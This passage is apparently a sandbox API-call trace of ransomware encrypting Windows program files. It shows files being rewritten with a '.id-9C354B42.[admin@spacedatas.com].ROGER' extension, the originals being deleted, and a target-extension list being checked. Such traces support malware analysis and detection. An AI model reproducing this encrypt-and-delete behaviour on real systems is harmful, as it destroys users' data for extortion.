lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0050.155] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0050.156] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.156] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0050.156] SetEndOfFile (hFile=0x358) returned 1 [0050.156] CloseHandle (hObject=0x358) returned 1 [0050.157] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.157] SetEndOfFile (hFile=0x3dc) returned 1 [0050.158] CloseHandle (hObject=0x3dc) returned 1 [0050.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.158] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0050.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.158] lstrlenW (lpString=".doc") returned 4 [0050.158] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0050.158] lstrlenW (lpString=".docx") returned 5 [0050.158] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0050.158] lstrlenW (lpString=".pdf") returned 4 [0050.159] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString=".xls") returned 4 [0050.159] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString=".xlsx") returned 5 [0050.159] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0050.159] lstrlenW (lpString=".ppt") returned 4 [0050.159] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.159] lstrlenW (lpString=".zip") returned 4 [0050.159] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString=".rar") returned 4 [0050.159] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString=".bz2") returned 4 [0050.159] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString=".7z") returned 3 [0050.159] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0050.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.159] lstrlenW (lpString=".dbf") returned 4 [0050.159] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.159] lstrlenW (lpString=".1cd") returned 4 [0050.159] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0050.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.159] lstrlenW (lpString=".jpg") returned 4 [0050.159] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.160] lstrlenW (lpString=".doc") returned 4 [0050.160] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".docx") returned 5 [0050.160] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0050.160] lstrlenW (lpString=".pdf") returned 4 [0050.160] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".xls") returned 4 [0050.160] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".xlsx") returned 5 [0050.160] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0050.160] lstrlenW (lpString=".ppt") returned 4 [0050.160] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.160] lstrlenW (lpString=".zip") returned 4 [0050.160] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".rar") returned 4 [0050.160] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".bz2") returned 4 [0050.160] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0050.160] lstrlenW (lpString=".7z") returned 3 [0050.160] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0050.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.160] lstrlenW (lpString=".dbf") returned 4 [0050.161] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.161] lstrlenW (lpString=".1cd") returned 4 [0050.161] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0050.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0050.161] lstrlenW (lpString=".jpg") returned 4 [0050.161] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0050.161] lstrcmpiW (lpString1=".MSG", lpString2=".ROGER") returned -1 [0050.161] lstrlenW (lpString="FPEXT.MSG") returned 9 [0050.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0050.162] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=169637) returned 1 [0050.162] CloseHandle (hObject=0x3dc) returned 1 [0050.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0050.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0050.162] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.162] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0050.163] GetLastError () returned 0x0 [0050.163] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0050.169] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0050.317] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.317] WriteFile (in: hFile=0x358, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.317] SetEndOfFile (hFile=0x358) returned 1 [0050.317] CloseHandle (hObject=0x358) returned 1 [0050.317] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.317] SetEndOfFile (hFile=0x3dc) returned 1 [0050.319] CloseHandle (hObject=0x3dc) returned 1 [0050.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0050.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString=".doc") returned 4 [0050.320] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0050.320] lstrlenW (lpString=".docx") returned 5 [0050.320] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0050.320] lstrlenW (lpString=".pdf") returned 4 [0050.320] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0050.320] lstrlenW (lpString=".xls") returned 4 [0050.320] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0050.320] lstrlenW (lpString=".xlsx") returned 5 [0050.320] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0050.320] lstrlenW (lpString=".ppt") returned 4 [0050.320] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString=".zip") returned 4 [0050.320] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0050.320] lstrlenW (lpString=".rar") returned 4 [0050.320] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0050.320] lstrlenW (lpString=".bz2") returned 4 [0050.320] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0050.320] lstrlenW (lpString=".7z") returned 3 [0050.320] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString=".dbf") returned 4 [0050.320] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString=".1cd") returned 4 [0050.320] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.320] lstrlenW (lpString=".jpg") returned 4 [0050.320] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0050.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString=".doc") returned 4 [0050.321] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0050.321] lstrlenW (lpString=".docx") returned 5 [0050.321] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0050.321] lstrlenW (lpString=".pdf") returned 4 [0050.321] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0050.321] lstrlenW (lpString=".xls") returned 4 [0050.321] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0050.321] lstrlenW (lpString=".xlsx") returned 5 [0050.321] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0050.321] lstrlenW (lpString=".ppt") returned 4 [0050.321] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0050.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString=".zip") returned 4 [0050.321] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0050.321] lstrlenW (lpString=".rar") returned 4 [0050.321] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0050.321] lstrlenW (lpString=".bz2") returned 4 [0050.321] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0050.321] lstrlenW (lpString=".7z") returned 3 [0050.321] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0050.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString=".dbf") returned 4 [0050.321] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0050.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString=".1cd") returned 4 [0050.321] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0050.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0050.321] lstrlenW (lpString=".jpg") returned 4 [0050.321] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0050.322] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.322] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0050.322] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.051] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=10123) returned 1 [0051.052] CloseHandle (hObject=0x3ac) returned 1 [0051.052] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0051.052] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.052] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.052] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.052] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.052] lstrlenW (lpString=".doc") returned 4 [0051.052] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.052] lstrlenW (lpString=".docx") returned 5 [0051.052] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.052] lstrlenW (lpString=".pdf") returned 4 [0051.052] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.052] lstrlenW (lpString=".xls") returned 4 [0051.052] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.052] lstrlenW (lpString=".xlsx") returned 5 [0051.052] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.052] lstrlenW (lpString=".ppt") returned 4 [0051.052] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.052] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.052] lstrlenW (lpString=".zip") returned 4 [0051.052] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.052] lstrlenW (lpString=".rar") returned 4 [0051.052] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.052] lstrlenW (lpString=".bz2") returned 4 [0051.052] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.052] lstrlenW (lpString=".7z") returned 3 [0051.053] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString=".dbf") returned 4 [0051.053] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString=".1cd") returned 4 [0051.053] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString=".jpg") returned 4 [0051.053] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString=".doc") returned 4 [0051.053] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString=".docx") returned 5 [0051.053] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0051.053] lstrlenW (lpString=".pdf") returned 4 [0051.053] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString=".xls") returned 4 [0051.053] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.053] lstrlenW (lpString=".xlsx") returned 5 [0051.053] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0051.053] lstrlenW (lpString=".ppt") returned 4 [0051.053] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.053] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.053] lstrlenW (lpString=".zip") returned 4 [0051.053] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.053] lstrlenW (lpString=".rar") returned 4 [0051.053] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.053] lstrlenW (lpString=".bz2") returned 4 [0051.053] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.053] lstrlenW (lpString=".7z") returned 3 [0051.054] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.054] lstrlenW (lpString=".dbf") returned 4 [0051.054] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.054] lstrlenW (lpString=".1cd") returned 4 [0051.054] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0051.054] lstrlenW (lpString=".jpg") returned 4 [0051.054] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.054] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.054] lstrlenW (lpString="full.png") returned 8 [0051.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.201] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=26516) returned 1 [0051.201] CloseHandle (hObject=0x390) returned 1 [0051.201] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0051.201] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.201] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.201] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.201] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.201] lstrlenW (lpString=".doc") returned 4 [0051.201] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.201] lstrlenW (lpString=".docx") returned 5 [0051.201] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0051.202] lstrlenW (lpString=".pdf") returned 4 [0051.202] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString=".xls") returned 4 [0051.202] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.202] lstrlenW (lpString=".xlsx") returned 5 [0051.202] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0051.202] lstrlenW (lpString=".ppt") returned 4 [0051.202] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString=".zip") returned 4 [0051.202] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.202] lstrlenW (lpString=".rar") returned 4 [0051.202] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.202] lstrlenW (lpString=".bz2") returned 4 [0051.202] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString=".7z") returned 3 [0051.202] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString=".dbf") returned 4 [0051.202] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString=".1cd") returned 4 [0051.202] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString=".jpg") returned 4 [0051.202] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.202] lstrlenW (lpString=".doc") returned 4 [0051.202] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.202] lstrlenW (lpString=".docx") returned 5 [0051.203] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0051.203] lstrlenW (lpString=".pdf") returned 4 [0051.203] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.203] lstrlenW (lpString=".xls") returned 4 [0051.203] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.203] lstrlenW (lpString=".xlsx") returned 5 [0051.203] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0051.203] lstrlenW (lpString=".ppt") returned 4 [0051.203] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.203] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned 57 [0051.203] lstrlenW (lpString=".zip") returned 4 [0051.203] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.203] lstrlenW (lpString=".rar") returned 4 [0051.203] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.203] lstrlenW (lpString=".bz2") returned 4 [0051.203] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.203] lstrlenW (lpString=".7z") returned 3 [0051.203] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 